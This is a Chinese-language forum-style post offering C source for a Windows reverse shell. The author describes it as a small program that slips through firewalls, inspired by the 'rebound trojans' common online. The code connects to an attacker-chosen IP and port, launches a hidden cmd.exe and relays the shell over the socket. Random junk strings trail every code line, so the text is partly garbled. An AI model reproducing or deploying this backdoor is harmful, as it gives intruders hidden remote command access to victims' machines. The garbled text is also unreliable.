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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ihp>cl?  
O= 84ZP%  
/* ============================== qbx}9pp}g  
Rebound port in Windows NT _=Y HO.  
By wind,2006/7 2'U+QK@  
===============================*/ wGLSei-s  
#include CbW>yr  
#include uz;zmK  
}'u0Q6Obj  
#pragma comment(lib,"wsock32.lib") wNm1H[{  
b=PB"-  
void OutputShell(); 1ir~WFP  
SOCKET sClient; p N+1/m,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B%(-UTQf  
4Ai#$SHLm  
void main(int argc,char **argv) >Q#\X=a>  
{ zvOSQxGQ  
WSADATA stWsaData; IeT1Jwe  
int nRet; ~O8Xj6  
SOCKADDR_IN stSaiClient,stSaiServer; b wqd` C  
sjj,q?  
if(argc != 3) s;W1YN  
{ L %20tm  
printf("Useage:\n\rRebound DestIP DestPort\n"); UPcx xtC  
return; 8~|tl,  
} 'U*Kb  
$s<bKju  
WSAStartup(MAKEWORD(2,2),&stWsaData); ana?;NvC  
.azA1@V|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  WfH4*e  
f#3!Q!C^  
stSaiClient.sin_family = AF_INET; ~y" ^t@!E  
stSaiClient.sin_port = htons(0); !SAR/sdXf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >Pwu>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <IwfiI3y  
{  % Z-B{I(  
printf("Bind Socket Failed!\n"); |5g1D^b]s^  
return; x.%x|6G*  
} `nv82v  
4l?"zv1  
stSaiServer.sin_family = AF_INET; /SKgN{tWe  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3:MAdh[w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dssecc'  
h(gpq SN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _ lE d8Cb  
{ VRA0p[  
printf("Connect Error!");  aX}:O  
return; }%Vx2Q  
} RxUzJ  
OutputShell(); Sp\ 7  
} JW9U&Bj{  
&Xp<%[:  
void OutputShell() \(;X3h  
{ 8/T,.<5  
char szBuff[1024]; l'FNp  
SECURITY_ATTRIBUTES stSecurityAttributes; ^"{txd?6  
OSVERSIONINFO stOsversionInfo; s5&v~I;>e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XAb-K?)   
STARTUPINFO stStartupInfo; \[Q*d  
char *szShell; /2Qgg`^)  
PROCESS_INFORMATION stProcessInformation; uTvck6  
unsigned long lBytesRead; dPb@[k  
~9JLqN"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Dl=qss~g+  
dS)c~:&+  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fl *>m,  
stSecurityAttributes.lpSecurityDescriptor = 0; M D,+>kh  
stSecurityAttributes.bInheritHandle = TRUE; n]a/nv  
aqoxj[V^3L  
{hi'LA-4@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |YWX.-aeo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D)GD9MJ  
-iySU 6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &k@r23V7r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |yYu!+U  
stStartupInfo.wShowWindow = SW_HIDE; &- 2i+KjEX  
stStartupInfo.hStdInput = hReadPipe; xO<Uz"R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &\ \)x.!  
:M9 E  
GetVersionEx(&stOsversionInfo); jQi)pVT^  
W8Aii'Q8C/  
switch(stOsversionInfo.dwPlatformId) woyeKOr  
{ {i|$^A3  
case 1: uS&NRf9A  
szShell = "command.com"; hM~zO1XW  
break; ST25RJC  
default: e!p?~70  
szShell = "cmd.exe"; HK4 *+  
break; 0})mCVBY  
} X.FFBKjf[e  
rF)[ Sed:T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1%k$9[!l%  
[.LbX`K:  
send(sClient,szMsg,77,0); xy Pz_9  
while(1) U9%#(T$  
{ D9-D%R,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D/TEx2.=J3  
if(lBytesRead) G;yh$n<"  
{ +5oK91o[y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bqSp4TI  
send(sClient,szBuff,lBytesRead,0); xZ(f_Oy  
} &C6Z{.3V  
else 6\GL|#G  
{ d!#qBn$*[  
lBytesRead=recv(sClient,szBuff,1024,0); Gb_y"rx?0  
if(lBytesRead<=0) break; m+'vrxTY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !)+8:8H'  
} 6rg?0\A<  
} KQ2jeJ/pj  
'.1_anE]  
return; ~"8)9&  
}
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